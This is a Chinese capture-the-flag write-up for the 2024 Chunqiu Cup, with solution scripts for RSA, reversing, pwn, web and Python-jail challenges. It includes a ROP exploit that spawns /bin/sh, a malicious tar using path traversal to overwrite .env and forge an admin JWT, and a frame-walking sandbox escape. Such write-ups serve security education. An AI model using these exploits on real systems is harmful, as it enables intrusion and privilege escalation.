CTF2024春秋杯WP题目解析

day1

EzRSA

点击下载原题压缩包
点击展开原题代码python文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from secret import flag
from Crypto.Util.number import *
import hashlib


p = getPrime(512)
q = getPrime(512)
N = p * q
e = getPrime(1023)
assert e < N
c = pow(bytes_to_long(flag), e, N)

print(f'{N = }')
print(f'{e = }')
print(f'{c = }')

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
k = (e * d - 1) // phi

dh = d >> 234
dl = d % pow(2, 24)
kh = k >> 999

hash224 = bytes_to_long(hashlib.sha224(long_to_bytes(dl)).digest())
hash512 = bytes_to_long(hashlib.sha512(long_to_bytes(kh)).digest())
leak = hash224 ^ hash512 ^ (k % pow(2, 512))

print(f'{dh = }')
print(f'{leak = }')

'''
N = 136118062754183389745310564810647775266982676548047737735816992637554134173584848603639466464742356367710495866667096829923708012429655117288119142397966759435369796296519879851106832954992705045187415658986211525671137762731976849094686834222367125196467449367851805003704233320272315754132109804930069754909
e = 84535510470616870286532166161640751551050308780129888352717168230068335698416787047431513418926383858925725335047735841034775106751946839596675772454042961048327194226031173378872580065568452305222770543163564100989527239870852223343451888139802496983605150231009547594049003160603704776585654802288319835839
c = 33745401996968966125635182001303085430914839302716417610841429593849273978442350942630172006035442091942958947937532529202276212995044284510510725187795271653040111323072540459883317296470560328421002809817807686065821857470217309420073434521024668676234556811305412689715656908592843647993803972375716032906
dh = 4640688526301435859021440727129799022671839221457908177477494774081091121794107526784960489513468813917071906410636566370999080603260865728323300663211132743906763686754869052054190200779414682351769446970834390388398743976589588812203933
leak = 12097621642342138576471965047192766550499613568690540866008318074007729495429051811080620384167050353010748708981244471992693663360941733033307618896919023
'''

私钥高位泄露,根据文献[1]中的定理6,符合相关条件时,由

k~=⊏ea1N

点击展开markdown公式

$$
\tilde{k} = \sqsubset \frac{ea-1}{N} \sqsupset
$$

可以计算出k的近似值。但是该题的e是full size,不符合条件,用上述公式只能恢复k的512位MSBs,令其为k1

1
2
dh = dh << 234
k1 = (e * dh - 1) // N + 1

[1] Boneh, D., Durfee, G., Frankel, Y. (1998). An Attack on RSA Given a Small Fraction of the Private Key Bits. In: Ohta, K., Pei, D. (eds) Advances in Cryptology — ASIACRYPT’98. ASIACRYPT 1998. Lecture Notes in Computer Science, vol 1514. Springer, Berlin, Heidelberg. https://doi.org/10.1007/3-540-49649-1_3

通过k1计算出kh、hash512

1
2
kh = k1 >> 999
hash512 = bytes_to_long(hashlib.sha512(long_to_bytes(kh)).digest())

因为leak = hash224 ^ hash512 ^ (k % pow(2, 512)),已知leak和sha512,同时注意到hash224只有224位,通过异或可以计算出k的512位LSBs中的512-224=288比特的高位,即目前已知k的512+288=800位MSBs,令其为k2

通过k2可以恢复p+q的234位MSBs,无需考虑hash224(其为干扰项)

1
paq = N + 1 - (e * dh - 1) // k2

结合paq和N,可以恢复p、q的高位,其位数足以用Coppersmith恢复完整的p、q

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from Crypto.Util.number import *
import hashlib
from sage.all import *


N = 136118062754183389745310564810647775266982676548047737735816992637554134173584848603639466464742356367710495866667096829923708012429655117288119142397966759435369796296519879851106832954992705045187415658986211525671137762731976849094686834222367125196467449367851805003704233320272315754132109804930069754909
e = 84535510470616870286532166161640751551050308780129888352717168230068335698416787047431513418926383858925725335047735841034775106751946839596675772454042961048327194226031173378872580065568452305222770543163564100989527239870852223343451888139802496983605150231009547594049003160603704776585654802288319835839
c = 33745401996968966125635182001303085430914839302716417610841429593849273978442350942630172006035442091942958947937532529202276212995044284510510725187795271653040111323072540459883317296470560328421002809817807686065821857470217309420073434521024668676234556811305412689715656908592843647993803972375716032906
dh = 4640688526301435859021440727129799022671839221457908177477494774081091121794107526784960489513468813917071906410636566370999080603260865728323300663211132743906763686754869052054190200779414682351769446970834390388398743976589588812203933
leak = 12097621642342138576471965047192766550499613568690540866008318074007729495429051811080620384167050353010748708981244471992693663360941733033307618896919023


def pq_add(p, q, leak):
lp, lq = len(p), len(q)
tp0 = int(p + (512-lp) * '0', 2)
tq0 = int(q + (512-lq) * '0', 2)
tp1 = int(p + (512-lp) * '1', 2)
tq1 = int(q + (512-lq) * '1', 2)

if tp0 * tq0 > N or tp1 * tq1 < N:
return
if lp == 512-unknown_bits:
pq.append(tp0)
return

t = int(leak[:2], 2)

if t == 0:
pq_add(p + '0', q + '0', leak[1:])
if t == 1:
pq_add(p + '0', q + '0', leak[1:])
pq_add(p + '1', q + '0', '0' + leak[2:])
pq_add(p + '0', q + '1', '0' + leak[2:])
if t == 2:
pq_add(p + '1', q + '0', '1' + leak[2:])
pq_add(p + '0', q + '1', '1' + leak[2:])
pq_add(p + '1', q + '1', leak[1:])
if t == 3:
pq_add(p + '1', q + '1', leak[1:])


dh = dh << 234
k1 = (e * dh - 1) // N + 1
kh = k1 >> 999
hash512 = bytes_to_long(hashlib.sha512(long_to_bytes(kh)).digest())

unknown_bits = 234 + 5

for i in range(2**6):
k2 = (k1 >> (512 + 6) << (512 + 6)) + (i << 512) + (leak ^ hash512)
paq = N + 1 - (e * dh - 1) // k2

pq = []
try:
pq_add(p='', q='', leak=bin(paq)[2:])
except:
continue

for ph in pq:
x = PolynomialRing(Zmod(N), 'x').gen()
f = ph + x
res = f.monic().small_roots(X=2**unknown_bits, beta=0.49, epsilon=0.03)
if res:
p = int(f(res[0]))
q = N // p
print(long_to_bytes(pow(c, inverse(e, (p-1)*(q-1)), N)))
exit()

ez_vm

点击下载题文件

是对vm进行手撕,通过手撕一遍流程基本可以确定是一个xtea魔改,将vm执行一遍的运算表达式写出,有很多xtea的特征 但是因为变量较多,代码混淆比较严重 后续还有对取一个数组的值替换加密结果的操作,逆向回来就行,弄懂一遍循环就可以明白后续的流程都一样

编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<stdint.h>

//void xtea_encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
// uint32_t sum = 0;
// uint32_t delta = 0x9E3779B9;
// uint32_t k[4];
// memcpy(k, key, sizeof(k));
// uint32_t v0 = v[0];
// uint32_t v1 = v[1];
// for (unsigned int i = 0; i < num_rounds; i++) {
// uint32_t f = v1 << 4;
// uint32_t g = v1 >> 5;
// uint32_t h = f ^ g;
// uint32_t i = h + v1;
// uint32_t j = i ^ (sum + k[sum & 3]);
// v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + k[sum & 3]); //1375741483
// sum += delta;
// uint32_t a = v0 << 4;
// uint32_t b = v0 >> 5;
// uint32_t c = a ^ b;
// uint32_t d = c + v0;
// uint32_t e = d^ (sum + k[(sum >> 11) & 3]);
// v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + k[(sum >> 11) & 3]);
// }
// v[0] = v0;
// v[1] = v1;
//}
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 0x20252025, sum = delta * num_rounds;
for (i = 0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 6)^0x42) + v0) ^ (sum + key[(sum >> 7) & 3])^3;
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 6)^0x42) + v1) ^ (sum + key[sum & 3])^3;
}
v[0] = v0; v[1] = v1;
}
int main() {
uint32_t const key[4] = { 2,0,2,5 };//0x64636261,0x68676665,0x34333231,0x38373635,0x6c6b6a69,0x706f6e6d,0x72657771,0
uint32_t v[10] = { 0x83845981,0x34402115,0xfb1f53d2,0x547564c9,0x3b42fcc6,0x2b67fcde,0x675ab09c,0x1d47f41a,0x876d3272,0x734d7d95 };
int byte_16561[256] = { 164, 196, 4, 206, 20, 149, 233, 17, 49, 24, 182, 176, 1, 38, 36, 106, 123, 18, 203, 103, 219, 248, 210, 126, 157, 208, 12, 95, 130, 33, 135, 131, 134, 124, 194, 159, 41, 202, 191, 73, 222, 78, 205, 98, 83, 190, 167, 3, 47, 181, 171, 148, 204, 46, 29, 243, 54, 16, 186, 215, 19, 53, 229, 179, 129, 26, 160, 231, 37, 117, 175, 81, 67, 92, 80, 72, 216, 163, 63, 113, 122, 199, 198, 144, 177, 187, 250, 221, 185, 246, 169, 183, 100, 56, 223, 224, 8, 178, 119, 51, 91, 2, 94, 121, 97, 7, 105, 35, 87, 74, 253, 192, 43, 161, 209, 40, 9, 111, 128, 85, 254, 66, 227, 71, 68, 225, 255, 188, 125, 139, 154, 96, 173, 151, 251, 141, 214, 172, 30, 15, 69, 234, 245, 75, 45, 59, 34, 28, 90, 114, 70, 195, 228, 93, 218, 146, 155, 10, 189, 153, 133, 52, 115, 165, 86, 55, 76, 22, 132, 162, 180, 109, 84, 230, 193, 31, 23, 61, 136, 247, 21, 88, 239, 77, 238, 137, 104, 89, 184, 32, 232, 220, 201, 145, 252, 213, 200, 65, 158, 118, 120, 50, 25, 102, 101, 57, 107, 197, 82, 39, 168, 6, 142, 166, 13, 152, 140, 249, 5, 27, 64, 143, 79, 60, 235, 112, 217, 99, 211, 226, 44, 240, 147, 58, 244, 0, 242, 170, 127, 42, 48, 236, 108, 116, 110, 241, 14, 62, 237, 150, 174, 138, 207, 11, 156, 212 };
for (int h = 0; h < 10; h += 2) {
uint32_t tmp = v[h];
uint8_t* first_byte = (uint8_t*)&tmp;
for (int g = 0; g < 4; g++) {
int index = *(first_byte + g);
for (int l = 0; l < 256; l++) {
if (index == byte_16561[l]){
*(first_byte + g) = l;
}
}
}
v[h] = tmp;
}
for (int h = 0; h < 10; h++) {
printf("%xn", v[h]);
}
printf("flag{");
for (int l = 0; l < 9; l+=2) {
uint32_t m[2];
m[0] = v[l];
m[1] = v[l + 1];
decipher(32, m, key);
char* input = (char*)m;
for (int i = 0; i < 8; i++) {
printf("%c", input[i]);
}
}
printf("}");
//flag{e8ff1a85-5ccd-4171-9f2a-ce6eea614a54}
//decipher(32, v, key);
//char* input = (char*)v;
//printf("start:n");
//for (int i = 0; i < 8; i++) {
// printf("%cn", input[i]);
//}
//for (int h = 0; h < 8; h++) {
// printf("%dn", input[h]);
//}
}//0xd659641b,0x1ff8f057,0x68dbe56d,0x36c73dcb,0xff6fb296,0x45245c08,0x3fb8e222,0x3d546a65,

ezre

点击下载题文件

看到计算哈希的函数custom_md5_init

得知要计算的是从该函数开始向后的1024个字节

010手动提取并计算md5值。

用前面的md5值作为伪随机数的种子,得到随机数队列。

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
flag = [
0x5c, 0x76, 0x4a, 0x78, 0x15, 0x62, 0x05, 0x7c, 0x6b, 0x21,
0x40, 0x66, 0x5b, 0x1a, 0x48, 0x7a, 0x1e, 0x46, 0x7f, 0x28,
0x02, 0x75, 0x68, 0x2a, 0x34, 0x0c, 0x4b, 0x1d, 0x3d, 0x2e,
0x6b, 0x7a, 0x17, 0x45, 0x07, 0x75, 0x47, 0x27, 0x39, 0x78,
0x61, 0x0b
]

key = [58, 26, 43, 31, 110, 0, 50, 69, 82, 68, 34, 85, 58, 55, 125, 67, 123, 35, 82, 28, 96, 70, 10, 7, 86, 56, 114, 121, 16, 29, 82, 74, 47, 117, 97, 22, 117, 20, 92, 65, 88, 118]

for i in range(len(flag)):
print(chr(flag[i] ^ key[i]), end="")

# flag{b799eb3a-59ee-4b3b-b49d-39080fc23e99}

RSA1

点击下载题文件

Franklin-Reiter相关消息攻击,先找到m2与m1的关系,m2=m1+k,求出k

1
2
m1 = bytes_to_long(flag)
m2 = bytes_to_long(''.join(chr((ord(i) + 3) % 128) for i in flag.decode()).encode())

特别要注意flag最后的’}’,其ascii是125,加3之后模128为0,所以该字符要特殊处理

1
2
3
4
5
6
k = 0
for i in range(130):
if i != 130 - 42:
k += 3 * pow(2, i * 8)
else:
k -= 125 * pow(2, i * 8) # '}'

联立c2和c3,即f = c2^2835 - (c3-e)^2025,可以用coppersmith解出e,但这里多项式的度比较大,求解不出

1
2
3
4
e = getPrime(128)
c1 = pow(m1 * e, 2835, N)
c2 = pow(m2, 2025, N)
c3 = pow(m2, 2835, N) + e

注意到lcm(2025,2835)=14175,有2025*7=2835*5,所以可以用5和7代替

1
2
3
4
5
x = PolynomialRing(Zmod(N), 'x').gen()
f = c2**7 - (c3-x)**5
f = f.monic()
res = f.small_roots(X=2**128, beta=1, epsilon=0.05)
e = res[0]

求出e后,联立c1和c2,通过Franklin-Reiter方法即可解出m1(但还不是flag)

1
2
3
4
5
6
7
8
9
def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()

x = PolynomialRing(Zmod(N), 'x').gen()
g1 = (x*e)**2835 - c1
g2 = (x+k)**2025 - c2
m1 = int(-gcd(g1, g2)[0])

这里有一个坑,注意到一开始flag的构造

1
2
3
flag = b'flag{' + str(uuid.uuid4()).encode() + b'}'
flag += bin(getPrime((1024 - bytes_to_long(flag).bit_length()) // 8)).encode()
m1 = bytes_to_long(flag)

m1>N,但没有大很多,可以根据flag头爆破出来

1
2
3
4
5
6
7
8
9
i = 0
while 1:
m1 += N
flag = long_to_bytes(m1)
if b'flag{' in flag:
print(f'{i = }')
print(flag)
break
i += 1

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from Crypto.Util.number import *
from sage.all import *


N = 176871561120476589165761750300633332586877708342448994506175624203633860119621512318321172927876389631918300184221082317741380365447197777026256405312212716630617721606918066048995683899616059388173629437673018386590043053146712870572300799479269947118251011967950970286626852935438101046112260915112568392601
c1 = 47280375006817082521114885578132104427687384457963920263778661542552259860890075321953563867658233347930121507835612417278438979006705016537596357679038471176957659834155694284364682759675841808209812316094965393550509913984888849945421092463842546631228640293794745005338773574343676100121000764021207044019
c2 = 176231410933979134585886078013933649498379873444851943224935010972452769899603364686158279269197891190643725008151812150428808550310587709008683339436590112802756767140102136304346001599401670291938369014436170693864034099138767167055456635760196888578642643971920733784690410395944410255241615897032471127315
c3 = 135594807884016971356816423169128168727346102408490289623885211179619571354105102393658249292333179346497415129785184654008299725617668655640857318063992703265407162085178885733134590524577996093366819328960462500124201402816244104477018279673183368074374836717994805448310223434099196774685324616523478136309

k = 0
for i in range(130):
if i != 130 - 42:
k += 3 * pow(2, i * 8)
else:
k -= 125 * pow(2, i * 8) # '}'


x = PolynomialRing(Zmod(N), 'x').gen()
f = c2**7 - (c3-x)**5
f = f.monic()
res = f.small_roots(X=2**128, beta=1, epsilon=0.05)
e = res[0]


def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()

x = PolynomialRing(Zmod(N), 'x').gen()
g1 = (x*e)**2835 - c1
g2 = (x+k)**2025 - c2
m1 = int(-gcd(g1, g2)[0])


i = 0
while 1:
m1 += N
flag = long_to_bytes(m1)
if b'flag{' in flag:
print(f'{i = }')
print(flag)
break
i += 1

Gender_Simulation

点击下载题文件

Boy和Girl类都是继承自Baby类,但是对gender这个虚函数方法的实现不同:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
class Baby {
public:
virtual void gender() = 0;
};

class Boy: public Baby{
public:
Boy() {
cout << "A boy was born" << endl;
strncpy(certificate, generateRandomString(16).c_str(), MAX_DATA_LEN);
}
virtual void gender() {
cout << "The certificate is " << certificate << 'x00' << endl;
}
char certificate[MAX_DATA_LEN + 0x10];
};

class Girl: public Baby {
public:
Girl() {
cout << "A girl was born" << endl;
certificate = [](const char* str) { puts(str); };
}
virtual void gender() {
string s = "The certificate is " + generateRandomString(16) + 'x00';
certificate(s.c_str());
}
void (*certificate)(const char*);
};

其中Boy类的certificate的类型是char字符串,而Girl类中的certificate是函数指针。

因此当选择Femboy或者Tomboy时就会产生类型混淆。其中当选择Tomboy时,由于直接把Girl类型直接转化为Boy类型,因此识别到的certificate是Boy类中的char字符串,而后续实际调用的gender方法是Girl类的(即会把certificate当成函数指针调用):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static void choose(Baby* baby) {
string s = typeid(*baby).name();
char choice;
if (s == "3Boy") {
// pass it
} else if ( s == "4Girl") {
menu(baby);
cin >> choice;
switch (choice) {
case '1': {
// pass it
}
case '2': {
string buf;
Boy* tomboy = static_cast<Boy*>(baby);
cout << "If you think you are a boy, please leave your gender certificate" << endl;
cin >> buf;
strncpy(tomboy->certificate, buf.c_str(), MAX_DATA_LEN); // 此处certificate会被识别为Boy类的char*类型,因此不会报错
tomboy->gender(); // 这里会识别为Gril类的gender实现方法
break;
}
default: {
// pass it
}
}
}
}

也就是意味着我们可以修改一个函数指针并调用它。程序里预留了一个gender栈溢出漏洞函数,可以修改certificate为这个函数地址实现调用:

1
2
3
4
5
void gender() {
char buf[MAX_DATA_LEN];
cout << "If you think you are a shopping bag, please leave your gender certificate" << endl;
read(0, buf, 0x100);
}

程序没有开PIE和Canary,且开头给出了libc上的地址,在IDA中查看buf,可以获取需要填充的偏移量:

1
2
3
4
5
6
7
8
-0000000000000010 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000010 // Frame size: 10; Saved regs: 8; Purge: 0
-0000000000000010
-0000000000000010 _BYTE buf[16];
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

高版本的栈溢出rop链寻找比较麻烦,这里给出一条针对此题的rop链:

1
2
3
4
# 0x000000000040391a : mov rax, qword ptr [rbp - 8] ; pop rbp ; ret
# 0x0000000000402fcc : pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
# 0x000000000040201a : ret
# 0x0000000000403476 : mov rdi, rax ; call rbx

通过[rbp -8] -> rax -> rdi可以实现控制第一个参数,而通过控制rbx可以控制要调用的函数。

我们将rbx控制为system地址,[rbp-8]控制为/bin/sh地址就可以实现调用system(“/bin/sh”)方法了,而要控制[rbp-8]需要在libc上找到一个调用/bin/sh地址的地址,再将old_rbp填充为这个地址+8的值,最后执行完leave后,rbp的地址就会变成这个地址+8的值。

通过IDA利用libc.so.6查找/bin/sh的交叉引用可以找的0x201500这个偏移:

1
2
3
4
5
6
7
8
9
10
11
.data.rel.ro:00000000002014FC                 db    0
.data.rel.ro:00000000002014FD db 0
.data.rel.ro:00000000002014FE db 0
.data.rel.ro:00000000002014FF db 0
.data.rel.ro:0000000000201500 off_201500 dq offset aBinSh ; DATA XREF: sub_110F20+C3↑r
.data.rel.ro:0000000000201500 ; sub_110F20+7B1↑r
.data.rel.ro:0000000000201500 ; "/bin/sh"
.data.rel.ro:0000000000201508 align 20h
.data.rel.ro:0000000000201520 off_201520 dq offset off_201560 ; DATA XREF: argp_parse+406↑o
.data.rel.ro:0000000000201520 ; "version"
.data.rel.ro:0000000000201528 dq offset sub_134960

编写exp即可获取flag:

完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from pwn import p64

target_info = {
'exec_path': './pwn',
'elf_info': ELF('./pwn'),
'libc_info': ELF('./libc.so.6')
}

#io = process(target_info['exec_path'])
io = remote('127.0.0.1', 8888)

#gdb.attach(io, 'b *0x40262E')
#pause()

io.recvuntil(b'gift: ')

setvbuf = {
'got' : int(io.recvline().strip(), 16)
}
log.info(f'setvbuf@got: {hex(setvbuf["got"])}')
target_info['libc_info'].address = setvbuf['got'] - target_info['libc_info'].sym['setvbuf']
log.info(f'libc_base: {hex(target_info["libc_info"].address)}')

binsh = target_info['libc_info'].address + 0x201500
system = target_info['libc_info'].sym['system']

payload = p64(target_info['elf_info'].sym['_Z6genderv'])
io.sendlineafter(b'Girln', b'2')
io.sendlineafter(b'Tomboyn', b'2')
io.sendlineafter(b'certificaten', payload)

puts = {
'plt': target_info['elf_info'].plt['puts'],
'got': target_info['elf_info'].got['puts']
}

payload = p64(0)*2 + p64(binsh+8) + p64(0x000000000040391a) + p64(0) + p64(0x0000000000402fcc) + p64(system) + p64(0)*3 + p64(0x000000000040201a) + p64(0x0000000000403476)
io.sendlineafter(b'certificaten', payload)


io.interactive()

# 0x000000000040391a : mov rax, qword ptr [rbp - 8] ; pop rbp ; ret
# 0x0000000000402fcc : pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
# 0x000000000040201a : ret
# 0x0000000000403476 : mov rdi, rax ; call rbx

Gotar

点击下载题文件

漏洞点位于whyrusleeping/tar-utils依赖库

审计源码,可以发现tar-utils依赖的outputPath函数存在目录遍历漏洞

首先,函数将 tarPath 按照斜杠(/)分割成多个元素 然后,移除第一个元素(通常是根目录) 接着,将这些元素重新组合成一个路径字符串 最后,将这个路径基于 Extractor 的 Path 属性进行重定位

通过上述分析,可以构造恶意路径如:exp/../exp.txt 经过outputPath函数处理后,最终路径位../exp.txt 实现目录遍历漏洞

分析调用,extractDir、extractSymlink、extractFile三个函数都调用了outputPath

本题中controllers/file.go:96处的extractTar调用了该依赖库实现解压tar包,因此存在目录遍历漏洞

构造恶意tar包即可实现任意文件写入

exp1

1
2
3
mkdir exp
echo "hack" > exp/secret.txt
tar --create --file=hack.tar --transform 's,exp/,exp/../,' exp/secret.txt```

进一步利用

题目使用jwt进行鉴权,jwt通过随机生成的密钥存在.env中,思考是否能覆盖.env实现越权

题目巧合的在LoginHandler处加载了环境遍历(默认读取.env),因此可以实现覆盖.env文件修改jwt密钥

最终exp

exppython3 exp.py 127.0.0.1:80

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import jwt
import datetime
import os
import tarfile
import sys
import requests
import random
import string

def generate_random_string(length):
letters = string.ascii_letters + string.digits
return ''.join(random.choice(letters) for i in range(length))

def send_request(session, method, path, data=None, files=None, headers=None):
url = f"http://{session.url}{path}"
response = session.request(method, url, data=data, files=files, headers=headers, proxies={'http': 'http://127.0.0.1:8083'})
return response


def generate_jwt(user_id, is_admin, jwt_key):
expiration_time = datetime.datetime.utcnow() + datetime.timedelta(hours=24)
claims = {
'UserID': user_id,
'IsAdmin': is_admin,
'exp': expiration_time
}
token = jwt.encode(claims, jwt_key, algorithm='HS256')
return token

def create_malicious_tar():
# Create the directory and .env file
os.makedirs('exp', exist_ok=True)
with open('exp/.env', 'w') as f:
f.write("JWT_SECRET=hack")

# Create the tar file with the path traversal
with tarfile.open('hack.tar', 'w') as tar:
tar.add('exp/.env', arcname='exp/../../../.env')

def exp(url, token):
payload = "echo `cat /flag` > /var/www/html/public/flag.txt"

session = requests.Session()
session.url = url

random_string = generate_random_string(4)

user_data = {
"username": random_string,
"password": random_string
}
response1 = send_request(session, 'POST', '/register', data=user_data)
if response1.status_code != 200:
return "Failed to register"
response2 = send_request(session, 'POST', '/login', data=user_data)
if response2.status_code != 200:
return "Failed to login"

with open('hack.tar', 'rb') as f:
files = {'file': f}
response3 = send_request(session, 'POST', '/upload', files=files)
if response3.status_code != 200:
return "Failed to upload malicious tar file"
print("Malicious tar file uploaded successfully")

# 触发加载环境变量
send_request(session, 'GET', '/login')
headers = {
'Cookie': f'token={token}'
}
response4 = send_request(session, 'GET', '/download/1', headers=headers)
return response4.text

if __name__ == "__main__":
create_malicious_tar()
print("Malicious tar file created: hack.tar")

jwt_key = "hack"
user_id = 1
is_admin = True

token = generate_jwt(user_id, is_admin, jwt_key)
print("Generated JWT:", token)

URL = sys.argv[1]
flag = exp(URL, token)
print(flag)

day2

python jail

[题目writeup]:

点击下载题文件
点击展开原题代码python文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import base64
from random import randint

with open("flag", "r") as f:
flag = f.read()

BOX = [randint(1, 9999) for _ in range(624)]
print("Give me your solve:")
user_input = input().strip()

try:
user_code = base64.b64decode(user_input).decode()
except Exception:
print("Invalid base64 input")
exit(1)

assert len(user_code) <= 121, "Input exceeds maximum allowed length"

exec_globals = {"__builtins__": None}
exec_locals = {}

try:
exec(user_code, exec_globals, exec_locals)
except Exception:
print("Error")
exit(1)

s = exec_locals.get("s", None)
if s == BOX:
print(flag)
else:
print("Incorrect")

exp

1
2
3
4
def b():
def a():yield g.gi_frame.f_back.f_back.f_back.f_back
g=a();g=[x for x in g][0];return g.f_globals['BOX']
s=b()

然后改一下弄成base64就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
import base64

"""
def b():
def a():yield g.gi_frame.f_back.f_back.f_back.f_back
g=a();g=[x for x in g][0];return g.f_globals['BOX']
s=b()
"""

m = "def b():\n def a():yield g.gi_frame.f_back.f_back.f_back.f_back\n g=a();g=[x for x in g][0];return g.f_globals['BOX']\ns=b()"
p = base64.b64encode(m.encode())
print(p)
print(len(m))

基于栈帧沙箱逃逸,通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals全局符号表。

gofl revenge

[题目writeup]:

点击展开原题代码python文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import base64

with open('flag', 'r') as f:
flag = f.read()

BOX = [
2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59,
61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113, 127,
131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191,
193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251, 257,
263, 269, 271, 277, 281, 283, 293, 307, 311, 313, 317, 331,
337, 347, 349, 353, 359, 367, 373, 379, 383, 389, 397, 401,
409, 419, 421, 431, 433, 439, 443, 449, 457, 461, 463, 467,
479, 487, 491, 499, 503, 509, 521, 523, 541, 547, 557, 563,
569, 571, 577, 587, 593, 599, 601, 607, 613, 617, 619, 631,
641, 643, 647, 653, 659, 661, 673, 677, 683, 691, 701, 709,
719, 727, 733, 739, 743, 751, 757, 761, 769, 773, 787, 797,
809, 811, 821, 823, 827, 829, 839, 853, 857, 859, 863, 877,
881, 883, 887, 907, 911, 919, 929, 937, 941, 947, 953, 967,
971, 977, 983, 991, 997
]

print('Give me your solve:')
user_input = input().strip()

try:
user_code = base64.b64decode(user_input).decode()
except Exception:
print("Invalid base64 input")
exit(1)

assert len(user_code) <= 46, "Input exceeds maximum allowed length"

exec_globals = {
'__builtins__': None
}
exec_locals = {}

try:
exec(user_code, exec_globals, exec_locals)
except Exception:
print("Error")
exit(1)

s = exec_locals.get('s', None)
if s == BOX:
print(flag)
else:
print("Incorrect")

46字符内生成1000以内的质数

就是用一些python的技巧就好了,有大概两个字符的容错(最低大概44个字符左右)

这里仅仅给出46个字符的

1
2
k,P,*s=1,1,
while k<1e3:s+=P%k*[k];P*=k*k;k+=1

然后改一下弄成base64就好了

如何造出这个代码,我们先写一个正常的生成1000以内质数的代码

1
2
3
4
5
6
7
8
k = 1
P = 1
s = []
for k in range(2, 1000):
if P % k != 0:
s.append(k)
P*=k*k
print(s)

然后通过Unpacking assignment可以把

1
2
3
k = 1
P = 1
s = []

写成

1
k,P,*s=1,1,

然后对于后面的

1
2
3
4
for k in range(2, 1000):
if P % k != 0:
s.append(P)
P*=k

我们可以用while来代替for这样子可以保证字符更少,然后把1000用1e3表示,即

1
2
3
4
5
while k<1e3:
if P % k != 0:
s.append(P)
P*=k
k+=1

而对于中间的判断,!=可以用>来减少一个字符,然后去掉if用布尔短路解决即P%k>0 and s.append(k),但是这样子还是不够。

我们知道如果list加上一个空集是不会变化的,那么我们可以写成s+=P%k*[k],这样子s要嘛加上[质数],要嘛加上空集

1
2
3
4
5
6
import base64

s = base64.b64encode(b"k,P,*s=1,1,\nwhile k<1e3:s+=P%k*[k];P*=k*k;k+=1")
print(len(base64.b64decode(s)))
print(s)
# ayxQLCpzPTEsMSwKd2hpbGUgazwxZTM6cys9UCVrKltrXTtQKj1rKms7ays9MQ==

right_data

[题目writeup]:

点击下载题文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from tqdm import *


modulus = 257


def find(i, j):
for t in range((modulus - 1) ** 2 - 1):
if (i * coefs1[t] + j * coefs2[t]) % modulus == values[t]:
return False
return True


def findflag():
for i in range(1, modulus):
for j in range(1, modulus):
if find(i, j):
return chr((j - i) % modulus)


flag = ""
with open("output.txt", "r") as f:
for _ in trange(0, 42):
coefs1 = []
coefs2 = []
values = []
for i in range((modulus - 1) ** 2 - 1):
s = f.readline().replace("\n", "").split(" ")
coefs1.append(int(s[0]))
coefs2.append(int(s[1]))
values.append(int(s[2]))
flag += findflag()
print(flag)

